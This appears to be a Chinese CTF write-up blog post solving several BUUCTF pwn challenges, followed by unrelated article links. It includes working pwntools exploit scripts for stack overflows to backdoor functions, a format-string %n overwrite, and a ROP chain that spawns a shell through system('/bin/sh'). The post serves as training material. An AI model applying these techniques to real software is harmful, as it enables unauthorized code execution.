BUUCTF[PWN]

BUUCTF[PWN]

题目:warmup_csaw_2016

  1. 地址:warmup_csaw_2016
  2. ida打开,进main函数:image-20240507204853587
  3. gets函数的栈溢出:给出了sub_40060D函数的地址image-20240507204928362
  4. 直接,溢出到sub_40060D的地址即可:
from pwn import *p = remote('node5.buuoj.cn',28462)
payload = b'a'*(64+8)+p64(0x40060d)
p.sendline(payload)
p.interactive()

题目:pwn1_sctf_2016

  1. 地址:pwn1_sctf_2016
  2. ida打开进入vuln函数:image-20240507213015640
  3. 先找后门函数:get_flagimage-20240507213041278
  4. 虽然说有fgets函数,但是限制了长度为32,但是看栈中 返回地址距离 s有 0x3c+4 ,不足以溢出到返回值:image-20240507213231797
  5. 重新来看一下vuln函数的逻辑找突破口:可以将输入的 I 替换 为 you ,相当于将一位变成了三位,再计算一下 0x3c+4=3*21+1 ,所以我们要输入21个I外加另外任意一个字符,即可再字符串替换后溢出到返回值的位置。image-20240507213936907
  6. 攻击脚本如下:image-20240507214247106
from pwn import *p = remote('node5.buuoj.cn',25670)payload = b'I'*(21)+b'a'+p64(0x8048F0D)
p.sendline(payload)
p.interactive()

题目:jarvisoj_level0

  1. 地址:jarvisoj_level0
  2. 依旧ida打开,进入到vulnerable_function函数:buf只有128,但是输入有0x200,必有溢出。image-20240507214757431
  3. 找到后门函数:callsystemimage-20240507214845844
  4. 栈中的偏移为 128+8image-20240507214927684
  5. 解题脚本:image-20240507215000428
from pwn import *p = remote('node5.buuoj.cn',27519)payload = b'I'*(128+8)+p64(0x400596)
p.sendline(payload)
p.interactive()

题目:get_started_3dsctf_2016

  1. 进main函数:程序提供了后门溢出函数gets,距离返回值只有56。image-20240510222953507

image-20240510223005248

  1. 看后门函数get_flag:对输入进行一个判断,在栈上可以看到数据的位置,在栈溢出时可以直接写道栈上。image-20240510223042459

image-20240510223104704

  1. 脚本如下:
from pwn import *p = remote('node5.buuoj.cn',27248)door=0x80489A0
return_exit=0x804E6A0payload = b'a'*(56)+p32(door)+p32(return_exit)+p32(0x308CD64F)+p32(0x195719D1)p.sendline(payload)
p.interactive()
  1. 题目中get_flag函数退出时需要提供一个 合适的返回值 (exit函数的地址),保证程序正常退出,否则get_flag函数无法正常退出,输入在使用putchar输入在 缓存区中的flag 会因为程序的异常崩溃无法输出到终端上。

image-20240510223710607

bjdctf_2020_babystack

  1. 进入main函数:简单的栈溢出,让我们输入数据的长度,当然越大越好。image-20240510231719408
  2. 再看一眼main的栈,和后门函数:image-20240510231809938

image-20240510231923575

  1. 攻击脚本:
from pwn import *p = remote('node5.buuoj.cn',27064)p.recvuntil(b"[+]Please input the length of your name:")
p.sendline(b'50')door=0x4006E6p.recvuntil(b"What's u name?")payload = b'a'*(12+12)+p64(door+1)p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

  1. 进入main函数:read函数指定了读取的大小,无法进行栈溢出,但是观察到 printf(buf),存在格式化字符串漏洞。image-20240511105854807
  2. 利用格式化字符串可以阿将 dword_804C044处的值进行修改,改为我们想要的输入的值,来达到使if条件判断通过的目的,dword_804C044的地址为 0804C044 ,使用%n修改指定地址处的值时,需要确定我们写入数据的偏移,这样使用%n才能指定到相应的地址。
  • 先使用 **AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p **来显示输入的数据的偏移:image-20240511110633456

  • 可以看到输入的字符串偏移为 10,所以输入地址0804C044后需要将栈中偏移为10的数值(0804C044)所指向的地址处的值进行修改。

  • 脚本如下,最后输入的passwd会进入atoi函数,这函数将 字符串转 化为对应的 数字image-20240511111115233

    from pwn import *p = remote('node5.buuoj.cn',27105)
    p.recvuntil(b"your name:")payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
    p.sendline(payload)p.recvuntil(b"your passwd:")payload = str(0x10101010)
    p.sendline(payload.encode())
    p.interactive()
    

    image-20240511111140609

[HarekazeCTF2019]baby_rop

  1. checksec检查后,时64位程序,ida打开进入main函数: __isoc99_scanf函数使用 %s,存在栈溢出 。image-20240511210554361
  2. 没有现成的system(“/bin/sh”),需要手动构造:存在 system函数/bin/sh 字符串,直接使用system给其传参即可,但是注意这是64位的程序, 前6个参数传递依靠寄存器。image-20240511210719114

image-20240511210730969

image-20240511210933208

  1. system函数需要一个参数,直接使用rdi进行传参,但是栈溢出的main函数只有一个ret,所以需要找到程序中的 pop rdi;ret指令的地址,直接使用 **ROPgadget --binary babyrop --only “pop|ret”**指令查找程序中可能出现的指令组合:image-20240511211205218

  2. 可以看到在 0x400683指令处存在 pop rdi ; ret组合(即先执行pop rdi 再执行ret),这使得可以继续改变rip的值,跳转到后门函数system的地址处。

  3. 脚本如下:

    from pwn import *p = remote('node5.buuoj.cn',29873)
    #p.recvuntil(b"What's your name?")
    sh_addr=0x601048
    rdi_addr=0x400683
    door=0x400490
    ret=0x400479
    payload = b'a'*(16+8)+p64(rdi_addr)+p64(sh_addr)+p64(door)	
    p.sendline(payload)
    p.interactive()
  4. 拿到shell后没有看到flag,使用 find -name flag 查找flag文件的路径,再显示:image-20240511211648974

  5. 拿到shell后没有看到flag,使用 find -name flag 查找flag文件的路径,再显示:[外链图片转存中…(img-NLt6ELLi-1715433475139)]

  6. 币了吧@~@

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/10463.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[Cmake Qt]找不到文件ui_xx.h的问题?有关Qt工程的问题,看这篇文章就行了。

前言 最近在开发一个组件,但是这个东西是以dll的形式发布的界面库,所以在开发的时候就需要上层调用。 如果你是很懂CMake的话,ui_xx.h的文件目录在 ${CMAKE_CURRENT_BINARY_DIR} 下 然后除了有关这个ui_xx.h,还有一些别的可以简…

Verlog-流水灯-FPGA

Verlog-流水灯-FPGA 引言: ​ 随着电子技术的飞速发展,现场可编程门阵列(FPGA)已成为电子设计自动化(EDA)领域中不可或缺的组件。FPGA以其高度的灵活性和可定制性,广泛应用于通信、图像处理、工…

go-zero整合asynq实现分布式定时任务

本教程基于go-zero微服务入门教程,项目工程结构同上一个教程。 go-zero微服务入门教程(点击进入) 本教程主要实现go-zero整合asynq实现分布式定时任务。 本文源码:https://gitee.com/songfayuan/go-zero-demo (教程源…

外卖点餐单店+多店自由切换小程序源码系统全功能版 带完整的安装代码包以及搭建部署教程

近年来,外卖市场持续火爆,但许多餐饮商家在接入外卖平台时面临着诸多困扰。高昂的平台费用、复杂的操作流程以及数据安全隐患等问题,让商家们倍感压力。为了解决这些问题,小编给大家分享一款集单店与多店管理于一体的外卖点餐系统…

ACM实训冲刺第四天

【碎碎念】最近的任务有点繁重,所以考虑到实际情况,视频学习决定放置一段时间,重点是学校的实训练习题,对于我而言,目标不是优秀/良好,综合考虑我的实际情况,保佑我及格、顺利通过就可&#xff…

通过自建镜像方式搭建RabbitMQ集群

通过自建镜像方式搭建RabbitMQ集群 1. 应用准备1.1 应用目录结构1.2 配置文件1.2.1 .erlang.cookie1.2.2 hosts1.2.3 rabbitmq.conf1.2.4 rabbitmq-env.conf 2. 编写DockerFile2.1 将所有本地文件拷贝到工作目录2.2 拷贝文件到源目录&增加执行权限2.3 安装Erlang & rab…

Leedcode题目:移除链表元素

题目: 这个题目就是要我们将我们的链表中的值是val的节点删除。 我们题目提供的接口是 传入了指向一个链表的第一个节点的指针,和我们要删除的元素的值val,不只要删除第一个, 思路 我们这里可以创建一个新的链表,…

【C++】学习笔记——模板进阶

文章目录 十一、模板进阶1. 非类型模板参数2. 按需实例化3. 模板的特化类模板的特化 4. 模板的分离编译 未完待续 十一、模板进阶 1. 非类型模板参数 模板参数分为类型形参和非类型形参 。类型形参即:出现在模板参数列表中,跟在class或者typename之类的…

掌握SEO优化的关键:提升网站排名的秘籍(如何提高网站seo排名)

你是否曾经在搜索引擎上搜索过一个关键词,然后点击了排在前几位的网站?如果是,那么你已经体会到了SEO(搜索引擎优化)的威力。SEO是一项关键的网络营销策略,它能够让你的网站在搜索引擎中获得更高的排名&…

Apache ECharts

Apache ECharts介绍: Apache ECharts 是一款基于 Javascript 的数据可视化图表库,提供直观,生动,可交互,可个性化定制的数据可视化图表。 官网地址:https://echarts.apache.org/zh/index.html Apache ECh…

Stable Diffusion写真完整教程

前言 最近自己对AI非常痴迷,并且今后也会一直在这个领域深耕,所以就想着先入门,因此花时间研究了一番,还好,出了点小成果,接下来给大家汇报一下。 AI绘画 提到AI绘画,大家可能立马会想到made…

模拟集成电路(3)----单级放大器(共源极)

模拟集成电路(3)----单级放大器(共源极) 放大是模拟电路的基本功能 大多数自然模拟信号太小而无法处理需要足够的信噪比 理想的放大器 线性:无限的幅度和频率范围 输入阻抗无限大 输出阻抗无限小 共源放大器 共源放大器就是将源极接A…

01面向类的讲解

指针指向类成员使用 代码&#xff1a; #include<iostream> using namespace std;class Test { public:void func() { cout << "call Test::func" << endl; }static void static_func();int ma;static int mb; //不依赖对象 }; void Test::static…

JavaScript 动态网页实例 —— 事件处理应用

前言 事件处理的应用很广泛。在事件处理的应用中,鼠标事件的应用是最常用到的。本章给出几个鼠标事件处理应用的示例,包括:页面预览、图像切换、点亮文本、鼠标跟随、鼠标感应和禁用鼠标按键。在这些示例中,有的可以直接拿来应用,有的则只提供了一种应用的方法,稍加拓展,…

示例十一、声音传感器

通过以下几个示例来具体展开学习,了解声音传感器原理及特性&#xff0c;学习声音传感器的应用&#xff08;干货版&#xff09;&#xff1a; 示例十一、声音传感器 ino文件源码&#xff1a; //Arduino C demo void setup() {Serial.begin(9600);pinMode(5, OUTPUT); }void loo…

【C/C++笔试练习】DNS设置文件、应用层、Dos攻击、DNS服务、DNS、子网划分、http状态、路由设置、TCP连接、HTTP状态码、剪花布条、客似云来

文章目录 C/C笔试练习选择部分&#xff08;1&#xff09;DNS设置文件&#xff08;2&#xff09;应用层&#xff08;3&#xff09;Dos攻击&#xff08;4&#xff09;DNS服务&#xff08;5&#xff09;DNS&#xff08;6&#xff09;子网划分&#xff08;7&#xff09;http状态&am…

docker01-简介和概述

什么是docker&#xff1f; 我们现在开发项目是在windows操作系统使用idea开发&#xff0c;本地windows操作系统上有我们项目所需的jdk&#xff0c;mysql&#xff0c;redis&#xff0c;tomcat等环境&#xff0c;如果我们想打包我们的项目到一个别的服务器上&#xff0c;在别的服…

SpringBoot实现图片验证码

引入依赖 <dependency><groupId>com.github.whvcse</groupId><artifactId>easy-captcha</artifactId><version>1.6.2</version> </dependency>代码实现 package com.qiangesoft.captcha.controller;import com.wf.captcha.*…

最少数量线段覆盖-华为OD

系列文章目录 文章目录 系列文章目录前言一、题目描述二、输入描述三、输出描述四、java代码五、测试用例 前言 本人最近再练习算法&#xff0c;所以会发布一些解题思路&#xff0c;希望大家多指教 一、题目描述 给定坐标轴上的一组线段&#xff0c;线段的起点和终点均为整数…

C++:类与对象—继承

类与对象—继承 一、继承是什么&#xff1f;二、继承定义三、基类和派生类对象赋值转换四、继承中的作用域五、派生类的默认成员函数六、继承与友元七、继承与静态成员八、复杂的菱形继承及菱形虚拟继承九、继承的总结和反思十、考察重点 一、继承是什么&#xff1f; 继承(inh…